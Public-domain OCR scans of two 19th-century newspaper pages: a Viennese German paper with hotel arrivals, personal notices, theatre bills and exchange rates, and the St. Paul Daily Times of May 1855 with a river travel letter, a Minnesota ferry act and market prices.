Sedlazek, Kaufm., v. Ob.-Oesterr. Hr. A. Gehard, Kaufm., v. Oedenburg. Hr. S. Schey, Kaufm., v. Oedenburg. Fr. A Traurig, Kaufms -Fr, v. Ofen. Stadt Pest, Leopoldst., 267. Hr. A. Dufchel, v. Strebcrstorf. Hr. N. Fürst, Handelsm., v. Bisenz. Hr. 3. Laschinzki, a. Ungarn. Hr. A. Saaß, Kaufm., v. Stein. Weißes Roß, Leopst., 321. Hr. S. Fiedler, Bergwerks-Direktor. Hr. Mutnaschky, Dr d R., a. Ungarn. Hr. Schwentzky, Kaufm., a. Baiern. Hr. Springmann, Kaufm., » Preußen. Hr. Eberhard, Kaufm., a Preußen. Hr. Unlaky, Kaufm , v v. Pest. Hr. Pulitzky, Kaufm., v. Brünn. Hr. Dimez, Handelsm., v Pest. Hr. Seyfert, Kaufm.,». Krakau. Hr. Pereles, Kaufm., a. Mähren. Hr. 3- Kaufried, Fabrikant, v. Neuhau«. Hr. Elermant, a. England. Hr. Rath, Beamter, a. Galizien. Gold. Pfau, Leopoldst., 322 . Hr. M. Heidlberg. Kaufm.,' v. Pest. Fräul. Kulmsteg, a Prag. Goldener Ster«, St. 629. Hr A. Saxlehner, Kaufmann, v. Pest. Hr. M Luzsa, Kaufmann, » Pest. Hr. A. Diedetz, Postmst., v. Weikersdorf. Hr. 3lija Zacharievics,v. Plovicza. Gold. Stern, Leopst. 210. Hr. V. W.'ber, Dr d. M., v. Trübau. Hr. D Lcika, Handelsm., «.Kronstadt. Hr. M. Weisel, Fleischhauer, v. Hornlei«. Hr. S. Pöll, Wirthschaftet, v. Oberlei«. Hr. M. Holzinger, v Salzburg. Hr. v. Darwas, k.k. Oberl , a Ungarn. Stadt Triest, Wieden 8. Hr. 3. Rimiczky, Gutsbef., v. Tarnow. Hr. F. Niesler, Bauuntern., v. Cilli. Hr. A. Hauer, Wirthsch.-Bes., a. Steierm. Hr. 3 Bergbauer, Handl.-Ag., v. Triest. Gr. Weintraube, Wieden 456. Hr. Müller, k k. Rittmeister. Hr. Zwanckon, k.k. Lieutenant. Hr. Graf, k.k. Lieutenant. Hr. K. Schärf,Spengler,».Ungarn. Hr. F. Schwach» mit Schwest., k. k. Lieute nant, v Oedenburg. Hr. V. Grüner, k.k. Lieut., a. Mähren. Hr. F. Stöger, k.k. Oberarzt. Hr. K. Muhm, Kellermeist., v. Paraßdorf. Kr. H. Wallter, Beamter, a. Baden. An Constanze. Wir maschieren. Glückliche Reise. A» die maskirte Mathilde! Nord oder Süd, Wenn die Seele nur glüht. 1088—i Per Springer. so79 An Medea. i Schon ist der Pester Kagcstolzen-Verein aufgelöst. Dadurch bist Du Medea nun Deines Kummers erlöst 1079—t T.' An Rechn, die wei^e. Grüße mir die grüne Regine, den weiblichen Mä ren der freien Künste Was beschäftigt sie setzt am meisten? Geologie oder Escamotage, Reiten oderMe- distren? 1076—1 Der Chocoladiman«. a. « c. Excuse si j’ai manque d’allee che* D. lundi le 24 a 3 heures. Au revoir. 1081 —i Uii masque inconnu. Herr Johann Schnitzer, Zither-Virtuose, ge noß die Auszeichnung sich vor einigen Tagen im Pa lais 3hrer kaiserlichen Hoheit der Frau Erzherzogin PalatinuS und vor dem allerhöchsten Hof produzirt zu haben. 1 Q 80—1 Oeffentlicher Dank. Es ist meine heiligste Pflicht und Schuldigkeit, mei nen herzlichsten Dank dem Hrn Zw eck er (oder dem sogenannten Wunderdokto r in Penzing.) öffentlich ab zustatten. Den 26. September 1850 bekam meine 10jährige Tochter Karoline eine schmerzhafte, laut schreiende Krank heit, die allgemeines Mitleid bei den Zuhörern her vorbrachte Durch volle 5 Monate wendete ich trotz meiner großen Mühe und ärztlichen Hilfe Alles ver gebens an. Da »orte ich von diesem bekannten Manne in Penzing. 3ch nahm meine Zuflucht zu ihm, ver traute ihm mein Kind an, und den 20. d. M. fing er <*» sie in die Kur zu nehmen Zu meinem größftn Erstaunen ist meine Tochter Karoline, Sonntag den 23. d M vollkommen genesen. Gott segne diesen alten Mann. Magdalena Kindermann, Hauseigenthümerin in Preßburg, Landler- 1091—1 ‘ gaffe Nr 26- Sonntag den 23. d. M. fand im Claviersalon des Hrn. Schr impf am Kohlmarkt eine musikalisch-de klamatorische Akademie zu einem wohlthätigen Zwecke statt. Für den deklamatorischen Theil warischon durch die Mitwirkung des Hrn. Dawison genug geschehen, der durch da« meisterhafte Lesen eines Gedichtes von Holtei die Aufmerksamkeit des Publikums im höchsten Grade fesselte; es stand aber auch neben dem Künst lerischen das Liebenswürdige, welches Frl Hermine Eidlitz in dem Vortrage zwei launiger Gedichte zu bieten wußte Herr Sondheim, längst rühmlich bekannt, bewährte sich auch dießmal als tüchtiger Sän ger. Besonders angenehm überraschte die Erscheinung der beiden Frls. Seligmann, deren vortreffliche Leistungen schon mehrere Male die gehörige Wür digung fanden. Frl Marie S sang ein Lied von Kücken, und erntete den lebhaftesten Beifall; es offen barte sich überhaupt ein bemerkenSwerthcr Fortschritt in der Gesangsweise dieser beiden Künstlerinnen, und insbesondere ist es Frl. Katharina S., deren herrliche Altstimme sich bewunderungswürdig entfaltete 3n der Akquisition dieser talentvollen, noch sehr jungen Künst lerin dürfte der Oper ein bedeutender Gewinn in Aus sicht stehen. Es sollen ihr bereits Engagements-Anträge gemacht worden sein. Das Publikum war voll herz licher Theilnahme. Zu vermkethen. 3n der Stadt, im Heiligenkreuzerhof Nr. 677, ist ein freundliches, mövlietes Zimmer im l. Stocke an einen bejahrten Herrn zu vermiethen und kann sogleich be zogen werden. Auskunft im 2 Hofe, 2. Stiege, 1 1082 Stock, Thür Nr. 12. 1 Gesucht wird: ein sehr billiger Broomwagen. Fixe Preise nebst kurzer Beschreibung und Adresse abzugeben: im Gasshofe zur 1084 Stadt Frankfurt Thür Nr. 60, 4 Stock. 1 Ein Broom, beinahe ganz neu. ist um den firen Preis von 300 fl. CM. zu verkaufen. Laimgrube, an der Wien Rr. 33, 1087 beim Hausmeister, 1. Freu»d e «führ er und Theatee. K. K, priv. Carl - Theater. LS. Vorstellung indischer Magie. Morgen den 27. Februar: Zum Vortheile des Herrn Rudolf Heese. Zum ersten Male: Gin Soldatenherz. Drama in 4 Aufz ügen, nach einer Erzählung v. F. Heine. K.K.p. Th eater 1 d. Zosesstadt. Der böse Seift Lump acivagavurrdrrs, oder: Das liederliche Kleeblatt. Zaubrrpvffe mi t Gesang in 3 Aufz, v Z. Nestroy. S 1 » e r 1. Johann Strangs gibt sich die Ehre, da« geehrte Publikum zu seinem am Fasching-Montag daselbst stattfindenden Oenefiee erge benst einzuladen. Um diesen Carneval möglichst fröhlich zu schließen, veranstaltet derselbe an diesem Tage einen sogenannten Crampampuli - Dall als letztes Faschings -StLck'l für gemnath. liche Wiana,. und zwar in Verbindung mit scherzhaften und zugleich vergnüglichen Carnevals-Spendcn (mitte lstMufik-R ebufe u. derenLöfung). Diese Spenden (drei an Zahl) bestehen: I. ln einer Bmvle Crampatnjiuli zu 6 Maß und hiezu als Imbiß 36 St. Fasch.-Krapfen, II. in einer Bowle CrampampUli zu 4 Maß und 24 Stück Krapfen, III. in einer Bowle Crampampuli zu 2 Maß und 12 Stück Krapfen. ' An Tanz Compositionen hierbei vom Unterzeichn, neu, zum ersten Male: Crampampuli - Tanz, oder genannt: Pit ® i a f'n (Landler). DaS Programm und die Rebuse bezüglich der obigen Spenden wird am Ballabende im Saale ausgegeben. — Herr Raben steiner leitet die Tänze. Billets zu 40 kr. §. M. sind zu haben in der Stadt in sämmtlichen Hofmusikalien - Handlungen und insbe sondere im Lake fnmgaiso, ferner in den am meisten bekannten Kaffe> Häusern,m den Vorstädten, endlich auch im S perl selbst. — An der Kasse Ist. CM. Ansang 8 Uhr. — Ende der ifnjt! 3 Uhr. Johann Strauss. Heute Mittwoch: Großer Ball in BrnnnerS Gasthaus in Simmering. Eintritt 24 kr. — Anfang 7 Uhr Ferd Brunner. Heute Mittwoch: KlerkmrsChampagirer-Jur-Kall j int Sperl. K. K. Hof - und Rat. - Theater. Hamlet, Prinz von Dänemark. Trauerspiel in fünf Aufzügen, von Shakespeare- Claud., König v. Dänemark . . Hr. Löwe. Hamlet, Sohn des vorigen, und Neffe d. gegenwärt. Königs . Hr. Jos. Wagner. Polonius, Oterkämmerer . Rosenkranz, j Sl>flcute ' ' Hr. Herzfeld. Marcellus, X Hr. P'stor. Bernardo, ) Dffti ' cre ' * Hr. Schulz. Fortinbras, Prinz von Norwegen Hr Kierschner. Francesko, ein Soldat. . . . Hr. Stein. Ein Schauspieler Hr. Dawison Der Geist von Hamlets Vater . Hr. Korner. Erster Tvdtengraber Hr. Beckpiann- Zweiter » - - . . Hr. Derstl. Gertrud«, Königin von Dänemark, und Haml tS Mutter . . Fr Rettich. Ophelia, Tochter des Polonius Fr. Koberwrin. Herren, Frauen, Edelknaben und Diener vom Hofe. Offiziere Schauspieler. Personen des Zwischenspieles: Oer Henog Hr. Hörtel. Die Herzogin Fr Aigner. Lucianus, Neffe des Herzogs . Hr. Vollkomm. Die Scene ist in und bei Helsingör. Anfang halb V Uhr. K. K. Hofth. n. d. Karnthnerth Zum zweite« Male: Der Brauer von Presto«. Komische Oxer in 3 Aufzügen nach dem Französischen der Herren L e u v e n und Brunswick. Musik von Adam. D. Robinson, Bierbra«er,XZwillings- Hr Erl. Georges Frl. Tvmola. Bob, erster Brautknecht • . . Hr Uffmann. Oer König von England, Miß Anna Jenkin«. Ein Notar. Hofdamen und Herren. Offiziere. Königliche Dienerschaft Soldaten. Brauer Auswärter. — Die Handlung der Oper spielt in England. — Im ersten Aufzuge: Preston Im zweiten Aufzuge- Da« Lager der königlichen Armee Im dritten Aufzuge: Da« königliche Schloß Windsor. Anfang 7 Uhr. Heute Mittwoch: Fest . Ball in den Saal-Lokalitäten zum goldenen Strauss, • , Josefst. Theatergebäude. Die Musik steht unter der persönlichen Leitung deS Hrn. Kapellm. I. Strauß. Heute: Letztes Mittwoch-Kränzchen beim goldenen Vogel, Mariahilf, Josefigaffe. VIII. Soiree dansante. Rationaltheater a. d. Wien. (Neu in di« Scene gesetzt.) Sylphide, das Seefrauleim Romantisch-komisches Zauberspiel mit Gesang in 2 Auf zügen, von Therese Krone«. — In die Scene gesetzt vom Regisseur Hern Carl Rosenschön. Sylphide, Beherrscherin de« Sees Frl. Fenzl. Fedele,) '^" Nymphen ^ ! Fr!' Weber. Horortos, ein egyptischer Magier . Hr Renner. Mully. ein Mohr, sein Vertrauter Hr. Wiese. Jeita, eine Gefangene , . . . Frl. Müller. August Hall, ehemals Kapitain eine« Kauffahrteischiffes Hr Grimm. Nettchen, dessen Schwester . . Frl. Rubini. Eustachius Wolferl, Verwalter . Hr Rott. Anastasia, seine Schwester . . Fr. Klimetsch Cyprian Schnermaus, GerichtSdien. Hr. Sommer. Kajetan Schippelbergcr, Schulmeist. Hr. Treumann £• Knollig, der Richter . . . • . Hr Stahl. Röschen, seine Tochter . . . .Frl Renner. Peter, ihr Bräutigam . . . . Hr. Kunerth. Waberl, Dienstmagd beim Verwalter Fr. Herbst. Lisel, eine Fischerin, Frl Herrmann Cj Ein böser Dämon, Hr. Richter Ein Triton. Hr- Löwenberg. Ein Bauer, Hr. Bauer Steffel, kl. Stockinger; Seppel, kl. Schmutz, Schulbuben. Genius, kl Bauer. Najadeu. Furien. Sklavinnen von verschiedenen Län dern. Schulkinder. Saiamimänner. Bauern uodBäue- rinnen Marionetten-Figuren Anfang V Uhr. Ka ffee.Ha lle. Heute Miltwoch: Fehler Familien - PaU. Hr. Kapellm. Ph. Fahrbach. sT e N G F, L IS 7 ~ Wieden, große Neugaffe Nr. 546. Jeden Sonntag öffentlicher Ball. Eintritt 30 kr. Jeden Mittwoch: Concorbia-Ball Billetcn zu 40 kr. sind zu haben in Herrn G a b es ans« Kaffeehau«, Mariahilf: Hrn. Schweig er« Kaffee hau« n.d. Mariahilfer-Linie; Hrn. A.Oeke, Zucker» bäcker, Kärnthnerstraße, im Johanneshof; »nd im ob benannten Lokale. — An der Kaffe 50 kr. I jeden Samstag, Sonntag, Dins tag, Mittwoch. Um halb I « und halb I« Uhr her lebendige Wiener Kladderadatsch, ein satyrisch komischer FaschingSzug durch sämmtliche Lokalitäten, mit Produktio nen und imposanten Schluß-Tableaur im Tanzsaale. Näheres der große illustrirte Anschlag zettel und das humoristische FafchingS- Programm, daS an allen Billeten-VerkaufS- orten unentgeltlich zu bekommen ist. Gin junger lediger Mann sucht ein möblirtes Monatzimmer. Anträge francoy. 993 A. 6. poste restante. L Cour«-Bersehtv SS Februar. Staatsfonds, Aktien , Anlehenslose. Fremde Devisen. S°/o Metalliqnes 4V*% » *% 4% n rerlosb. ay*% » aV*%fww.) B.ob. Baik'Akties Lot« TM 1834 » * 1839 Llojd-AltieB g«/» Lloyd Pr. OM. 5 Nordb. » Geld Pap. 5% Glogjr*. Pr. Obi. $% Donau Dampf*. Donau Dmpfs.-Akt. Nordbahn Aktleo Mailänder Gloggoitrer Oedenburger Lins-Budwetser Pesther-Hettenbr. Mail. Como-Aemtseh. F, Eittrhujr 40&.L. Windisehgr. 20Ä.1-*. Geld Pap. Gr.WaIdatein20flX, Gr. £sterhasy » Gr. Kegtevieb lOfl.L, Hai*. HIii-DhIi, j* Rand'Dok. Napoleon» d'or Soureratns d'or Aua*. Imperiale Pr. Friedriok* d'or Eng. Sovereign* Silber Geld Pap. Amsterdam 2 H. Augsburg Um Bukarest SlT.S. Coastant. SlT.S. Frankf.a.M. SM. Genua 2 M. Hamburg AM. Livorao 2 M. London 3 M. Mailand 2M. Marseille 2 M Paris -M Geld Pap. \ Triest 3 W. Lomb. Sehatss, n Aoleiho Geld Papi *®V» 84V„ t5V 4 88 Vs S1 58 1236 200 118 ' 123 95 95 97 «ä'/s 79 89 51*/» 124«. 201 »^/« 124 *«•/« 95 $40 129*/« 76V* 131 63 262 13V* 72 21 542 129V* 77 132 64 284 13V« 72*/* 21*/. 20 13*/, 9*/, 33V« 33'/, 10.8 17.41 10.1« 10.38 12.39 28'/« 20*/, 14 10 179 129V a 214 358 129'/« 15»'/, 190 125'/, 12.40 129' « 152*/« 152 U 1 1 111111 1111 94 V« 5% 104*/, Lunilou den 7. Februar. C.a., | 95*/,—*/, Paris den 23. Februar. 5% Haot* I 96.60 3 » » I — Nordbahn 1 — fftr di« Redaktion verantwortlich: M. Bauer. — Druck »,n ®. Gerold a. Sohn. | 12,085 |
sn85025594_1855-05-15_1_4_1 | US-PD-Newspapers | Open Culture | Public Domain | null | None | None | English | Spoken | 7,192 | 11,214 | Editorial Circuits have once of the Times. Had any sane man, ten years ago, dared to protest that eight or even five boats would ply between this city and St. Paul, at the present time, he would have been considered a fit subject for a Lunatic Asylum. Then there were but few towns on the Mississippi river above Galena, and inhabited as the country was, by bands of roving savages, but few entertained the idea that some forty cities and towns would arise where all was dark, dreary and uncivilized, and that instead of rafts and canoes, the Mississippi would be covered with large and commodious steamers, freighted with human life. The change for the past is certainly magical — what will it be for the future? The Galena left St. Paul, Tuesday morning at 10 o'clock, and made the trip to this city in 31 hours, having stopped on the route nearly forty times. She is commanded by Capt. Blakely, who has traveled on the river for many years and is familiar with the growth and prosperity of nearly every hamlet and town between Galena and St. Paul. To speak in praise of this boat would be a work of supererogation. Those who have once traveled with Capt. Blakely will bear us out in the remark, that a more faithful or attentive Commander, does not live. The weather was very fine, the scenery on either side of the river beautiful, and with the exception of indisposition on the part of your humble servant, the trip would have been one of the pleasantest ever made. But few incidents occurred to give variety to the passage. One or two are only worth noticing. The boat had stopped at Prairie du Chien, when one of the deck passengers got off and took a stroll up into the town. He was soon reminded by the whistle that the boat was about to leave, and he came tumbling down to the Levee, at the rate of 40 miles an hour, the other part of his garments flying in the wind, and his sails all set for the brow of the steamer. He reaches the boat just as the plank is being hauled in—jumps, and the next minute is seen struggling in the waves caused by the wheels of the boat, at intervals singing out at the top of his voice, “murder, fire,” like, to the no small amusement of those who witnessed the scene. Although the water was not two feet deep, yet the poor fellow was so frightened that he could not rise, and I verily believe had not helped been extended to him, he would have met a watery grave. A little brandy set him all right and he laughed as heartily as the rest. “Do hear the plaintive crying of that child.” Whose is it?” Hour after hour those mournful tones were heard, until the sympathetic heart of woman could endure them no longer, and the child was seized out, and the cause of its fretfulness made known. It seems that a poor man, with his sick wife and child, had taken passage, in hopes to reach her home, that she might die there. She became worse, the child was taken sick, and finally the poor husband, with tears in his eyes, told the Captain that he had but little to do—he wished to go further, he could not pay his passage, and that he was fearful his wife would die before he would be able to reach the next landing. The Captain generously and promptly returned him his passage money—made the fact of the poor man’s poverty known to the passengers, cheerfully contributed a purse of sum—and though the agency of medicine furnished by the ladies on board, the wife was made more cheerful, the little babe ceased its crying, and the husband was anxious to see his sad and anxious countenance. These little incidents in life teach us how to appreciate health and wealth, and he who under the circumstances above narrated, would refuse to give his life to alleviate suffering humanity, does not belong to the race of manhood, we care not how pretentious he may be of liberality, or how loudly he may talk of the beauties of religion. It is surprising with what rapidity the towns on the Mississippi river have grown, since last I saw them, on a year ago. Then there were but one or two places that you could call towns in reality, now there are some fifteen or twenty which have grown into a respectable degree of dignity. Among these I noticed Bed Wing, Causing, Hastings, Kapesia, etc. Buildings have been erected at these places during the winter, and the foundations for many others are now being laid. All along the river there is a marked improvement and general activity prevails. Who can tell what these now scarcely noticed towns and villages will be twenty years hence? We dare to prophesy, that many of them, in that length of time, will contain 15,000 and 120,000 inhabitants, and some more than this number. Don’t smile incredulously at this prophecy—stranger things than this have happened. The Mississippi Valley will yet seem with millions of human beings, and some now out of the stage of life, may live to see that day. At McGregor’s Landing we were informed that the day previous to our arrival a man jumped overboard and drowned himself. He had been sentenced to the Penitentiary for life, and his son, who was with him, to the same place, for seven years. This old man could not endure the thought of eking out a miserable existence in a loathsome prison, and escaping the vigilance of his keeper, he very soon passed into the unknown future. We did not learn the name of either father or son. We entered Galena or Fevre. River about 4 o'clock, and enjoyed the sail to the city very much. The river is so narrow that you have a fine view of the scenery on both sides of it, which, at this season of the year, is quite charming. The foliage on the trees, however, is not much in advance of the foliage in and about St. Paul. The grass we think is more forward, and at Paris du Chien we saw Lilacs in bloom—we have seen none here. The Levee at Galena presents a very comfortable, clean-looking appearance, there being no less than thirteen bouts in port, and all sorts of freight blocking up the main street and rendering it almost impossible for either vehicles or pedestrians to pass. Whoever feels disposed to sneer at Galena, can do so at their pleasure, but it will not injure her reputation of being one of the smartest business places on the Mississippi river, having only two superiors—St. Louis and New Orleans. The business of Galena has certainly greatly increased since we were last here. Large and new stores have been erected—a more dense population crowds the streets, and a greater variety of business seems to pervade every nook and corner of the city. There are few places where nature has done so little and man has done more to build up a large and prosperous town. But Galena has some disadvantages, and what place has not?—First among these, is Galena river. Had the city been built on the Mississippi river, (retaining its lead region). Galena would contain 30,000 inhabitants instead of 10,000. Second, Galena has too cramped a Levee, and third, Galena has too many grog shops. The second objection we learn, will soon be removed, as the Levee is to undergo an enlargement, and the third objection will take its departure on the incoming of the Maine Law, which was passed by the last Legislature of this State. The other obstacles in the way of her progress can only be removed by the indomitable perseverance and enterprise of her citizens, and they possess a large share of these elements. Will not the merchants of St. Paul look to the enlargement of their Levee? Galena, May 10, 1855. The cars on the Illinois Railroad passed over the new bridge for the first time on Tuesday, for the purpose of testing its strength. The bridge appears to answer the purposes for which it was designed, although it possesses no very beautiful qualities. The Depot is on the East side of the river, where the cars can be seen. By the way, a great deal has been said about the “wealth” of the Illinois Railroad Company. We have heard it surmised that this Company are not now, nor have they been, paying their expenses for some time past. As soon as this fact is known, and it must be made known soon, as the stockholders are getting uneasy, the stock will depreciate. What then becomes of our magnificent bubble of a Railroad? Stand from under, you who have been duped into the belief that men who commit and sanction fraud, will build you a railroad, — we say, stand from under, for the whole gigantic swindle will yet tumble to the ground. “There is a God in Israel.” The De Soto House, is one of the best Hotels in the North-West. It is large, very neat, excellently kept, and the tables are furnished with all the luxuries the markets afford. Mr. Parks, the proprietor, was formerly connected with the Virginia Hotel, St. Louis, and knows how to cater to the appetite of the hungry traveler. I cheerfully recommend the De Soto, and with this recommendation I close my long and rambling letter. If Mr. Ingalls' other professional engagements will permit, we believe it is his intention to form a juvenile class in vocal music. Now we believe in music for children, as we believe in fresh air, and baby jumpers, and Jack the Giant Killer, and a general Jessy Juvenile education of flowers and light-hearted gaieties. The highest duty of the parent after right principles is to fill the child's heart with tender memories and soft melodies—things to shed their music and fragrance on the sad, hard after life—things to be tenderly mused upon long years after and never, never forgotten. The song learnt in childhood has been the single joy and the sole salvation of many a wretch otherwise without God of hope in the world. They say if you can teach despair that old song—if the lost one can but catch the loved strain—that peace will come again, and bubble up on the restored accents and unlock the fountains of the pure child life once again, and fill the heart with all old joys. If this be so, it would be well to teach your children music. We learn from the St. Louis Intelligencer that there are a few cases of cholera in St. Louis but that disease does not prevail to any extent. MARRIED On the 11th inst., by the Rev. J. G. Richey, Mr. BENJAMIN F. IRVINE to Miss MARGARET C. WARD, both of the city. On the 11th inst., by the Rev. J. G. Richey, Mr. GEORGE W. ST. ANLEY to Miss AMELIA McUANN, both of this city. On the 6th inst., by the Rev. J. G. Riddle, Mr. JOHN J. CONWAY to Miss ELIZA J. McCAXX, both of this city. We acknowledge the receipt of the compliments of the above couple, in the shape of a piece of cake, and wish them an abundance of conjugal felicity. At her residence in Wabash Ave., Minn., on the 11th instant at 7 o'clock, A.M., LUCY HAILEY, wife of Alex Unity, Esq., and eldest daughter of the Baptiste Farrish, Esq., late of Minnesota, aged 16 years and four days, after a lingering sickness of four months, during which time she was unable to leave her couch. NECROLOGY. A precious existence before the eyes of God and men, became extinct on the 7th day of present month in the city of St. Paul, at two o'clock in the morning. Those who have had the advantage of being again during his lifetime, with the benevolent Mr. M., will hear with deep sorrow of his untimely death. He was the honor and the joy of our excellent Bishop, and by the many friends he has left behind him, his name was he for many years but with the most respectful veneration. Those who were in need of consolations knew that his dwelling was always opened for their reception, and as his services were rendered gratuitously, he carries with him to heaven their prayers. and beuetic ms as the price of his unbounded charity. His remains are now exposed in the Roman Catholic Church of St. Paul. Laws of Minnesota--by Authority. AN ACT To Incorporate the Wisconsin Fire Company Be it enacted by the Legislative Assembly of Minnesota Section 1. That Louis D. Smith, William Ashley Jones, Henry H. Hull, and John C. Laird, their associates, successors and be and they are hereby commissioned a body corporate and permanent for the purposes, hereinafter mentioned, by the name of the "Wisconsin Fire Company," for the term of twenty-five years and to that name they and their successors, associate, assignees or assignees shall be and are hereby made capable of law, to contract and be contracted with, sue and be sued, and be applied and be applied, possess and defend, answer and be answered, in any court of record or elsewhere, and to purchase and hold any suit, real, personal or mixed, and the same to purchase, lease, or bill of sale, or any other public use, and to dispose of, to alter, renew or change the same as pleasure; to make and enforce any by-laws or to the constitution and laws of the United States or of this Territory. SEC. *. That the said corporation is hereby invested with the exclusive right and privilege for the period aforesaid, of Weeping and maintaining a ferry across the Mississippi river and its sloughs, with the necessary bridges across said sloughs, in the county of Winona, and Territory of Minnesota, on section number twenty-three (23) township one hundred and seven (107) north range, number seven (7) west of the 8th principal meridian, and no other ferry shall be established within one mile and a half from the South-East Corner of said section number twenty-three (23) in said township. Sec. 3. The capital stock of said company shall be three thousand dollars, with the right and privilege of increasing the same to the sum of ten thousand dollars; and shall be divided into shares of one hundred dollars each, which stock is to be owned by the incorporators above named, their heirs and assigns, in proportion and manner agreed upon by them, as directed by the rules, regulations and by-laws of said corporation. Sec. 4. The said incorporators hereinbefore mentioned, shall have power to elect from their own number such officers, trustees or directors as they may deem necessary for the successful management and operations of said corporation. In pursuance to their by-laws and regulations. Sec. 5. That if the said corporation shall not organize within three months and be in readiness with a good and sufficient boat or boats to perform their duties as herein required within twelve months from the date of the passage of the In act, or as soon thereafter as navigation may be resumed, then this act shall be void. Sue. 6. The said company shall at all times thereafter during the navigable seasons, keep a sale and good boat or boats in repair, sufficient for the accommodation of all persons wishing to cross said river at said ferry and shall give prompt and ready attention to passengers or teams on all occasions, and at all hours, between the hours of five o'clock A.M., and seven o'clock P.M.; but persons wishing to cross at said ferry in the night, may be so crossed and charged double fare as hereinafter prescribed. And provided further, that the said company shall not be required or compelled to cross at said ferry when in their judgment such attempt would endanger life or property; or when the ice, wind or darkness shall render it unsafe or impractical to cross. SEVENTH. The rates to be charged for crossing the above ferry shall not exceed the following: For each fool passenger, 15 cents. Each horse, mare, gelding mare, 15 cents. Each two horse or two ox team, loaded or unloaded, with a driver, $1. Each single horse, carriage, $1. Each additional horse, cart, or ox, 10 cents. Each horse, sheep or animal, not herein mentioned, 5 cents. All freight of merchandise or other articles, at the rate of ten cents per barrel or hundred pounds, at the option of said company. SEC. 8. The said Corporators shall, within six months from the passage of this act, be deemed to be discharged with the clerk of the board of county commissioners of the County of Wyo.a, a recognition to the said board with good and sufficient securities, to be approved by said board of county commissioners, in the penal sum of one thousand dollars, conditioned that they will faithfully fulfill all the duties that are imposed upon them in the foregoing sections; and to case of their failure or neglect so to do, shall forfeit all the benefits that might have accrues to them from and by the passage of this act. Sec. 9. For every neglect in keeping a good and sufficient boat, or failure to give prompt and due attention or attendance, the said company shall forfeit a sum not exceeding twenty dollars, to be recovered by an action of debt before any court having competent jurisdiction, and shall be further liable in an action on the case for all damages any person shall sustain by reason of the neglect of said company to fulfill any of the duties imposed by this act. Sec. 10. Any person who shall sustain any injury by the negligence or default of said company or of the firm man in its employ, may have a remedy by an action upon the bond required in this act. Sec. 11. This act shall take effect and be in force from and after the day of its passage. Sec. 12. This act may be altered or amended by any subsequent Legislature. J. S. NOR RIS, Speaker of IT. of R. WM. P. MURPHY, President Council. Approved Feb. 27th, 1855. W. A. GORMAN. 1 hereby certify ihe foregoing to be a true copy of the original Act on die in this ifflce. J. TRAVIS ROSSER, Secretary of Jl.unesola Territory. UPWARD H. HAWKE. ANDREW C. Dl’Nlt. HAWKE A Dl>X, Attorneys and Counsellors at Law, OFFICK IX EMPIRE BLOCK. Salat Prhl. .Waatista Territory, St. Paul. April llih. 1655. apl4-d&wtf THE BEST ASSORTMENT AMD THE NEATEST STORE. THAT seems like bragging, but it Is nevertheless true. Our stock of goods has been selected with great care, and we hare all kinds and descriptions of Boots and Shoes, adapted foi men, women and children? Those who doubt, let them call aud examine. We sell for casu and sell cheap. C. C. HUFFMAN, myS-if jOtk door above tbo Time* Balkting. COMMERCIAL, MATTERS. May 16 1856. From Messrs. Boruf A Oakes, Bankers anil Exchange Dealers. Exchange on New York 14 r cent. >< “ St. Louis, 1 4 ii ii ii Chicago, lit V “ ii ii Galena, '« 'it “ Wcr -fate for the present ill Ohio motley except State Banks. >• ” ” f mil ana except “ “ »» ” »» Virginia. »» ’» >» Tennessee. »» ’* ” Keur.ickv except Bank By. >* ” ” District Columbia. *• »» ” Georgia except Atlanta. BOARD OF TRADE. OFFICEfiS. W. R. MARSHAL'.,, .*....a...•.•.Frexhlertt. THOMAS FOSTER, Vice President. S. \V. WALKER A. U. OATIIOART, Treasurer. Di in: cro us: W. R. Marshall, A. S. Elicit, Alex. Rey, Isaac Marfcley, A. T. Chambliu, W. K. Hunt, David Day S. W. Walter, J. M. Marshall, A. L. Larpcntucr, O. T. Wliitney, G. W. Turnbull. Directors meet tlrst ami third Tuesday of each month. — Board meets ttrst Wednesday or each month. Communications respecting any business of the U isr l, should he addressed to the Secretary. ST. PAUL MARKETS. Daily Times Office, May 16, 1866. Markets. —Notwithstanding we are constantly receiving supplies from below yet provisions are in great demand. Flour, going up. Wheat, in demand. Oats, wanted—very scarce, ready sales at $1.00 per bushel. Corn rising. Salt Pork going up. Shoulders and llams —going down. Potatoes, in demand. With an upward tendency. Butter and Eggs are on the decline. Fresh Butter, difficult to be found. Lumber, none seasoned, and the quantity of green insufficient for home demand. Matched Flooring, ready sales at $30 per M. Wood, plenty in market, and still it comes. Sales in large quantities range from $3.50 to $4. Our markets will, hereafter, be corrected daily by Alex. Rey and Billy the relied upon as correct. Weights of Grain.—The following are the established weights of grains for this Territory: Wheat, 60 lbs per bushel; Clover Seed, 60 lbs per bushel; Rye, 65 lbs per bushel; India Corn, 66 lbs per bushel; Oats, 33 lbs per bushel; Barley, 48 lbs per bushel; Buckwheat, 42 lbs per bushel. LIVE STOCK. DRIED FRUIT. Beef oil foot to the pound Apples $3 per bushel; Cows Peaches $3 per bushel; Work oxen $1.50 to $2 per bushel; Green apples $6 per bushel; FRESH MEAT. GRAIN. Beer 12@10 cents per bushel; Oats 90@$1.00 per bushel; Mutton local 12@15 cents per bushel; Corn $1.50@$1.75 per bushel; Pork. Barley $1.75-$2.00 Veal...16c MISCELLANEOUS. Chickens $3.50-$4.00 per barrel PRODUCE. Cattle, star 27(u,3Uc $1 lb Pork...; $19ft bbl fallow 15(<20 do Hams 11(0.12 : sc ft lb Fish (fresh) 5c do Lard 10(<124c do Dried 10c do Flour superfine, $10(a.9 50 ft bbl Lime $1.25(5 2 25 ft bbl Extra $10.50 ft bbl Onion $1.50 ft bu Corn meal $1 ‘-5 ft bu Lard Oil 90 (o $1 00 pt gal Lemons $-’ 00 ft bu Salt..; $1 00 ft bu Potatoes $15 ft bu Vinegar $1.20 C ft gal Fresh butter 20(525 ;*!h Tallow 11(0,12c ft lb Cheese 15*.200 du Tubacco 10(0,50c Eggs 12,»p15c ft doz 1! Jes (green).....3M GROCERIES. *■ dry.....9c Sugar, brown 6<Sfic lumber. Reined 8(«;9c Common $2O M Crushed and powdered! l(n 12 Vc Flooring $26 do Coffee 13.0 25 Riding $25 do Tea 40i:(U$l Shingles., ss(o $6 00 do toe Lath $3 da Molasses 50(5.80: Dimension stuff $20 do Wood, dry...54(5,4 50 ft cord Clear Boards $30 do GALENA MARKETS. CORRECT ED BY THE GALENA ADVERTISER. PROVISIONS. HARDWARE. Flour, superfine.... $7.00-$7.50 Nails, Juniata 6@7c 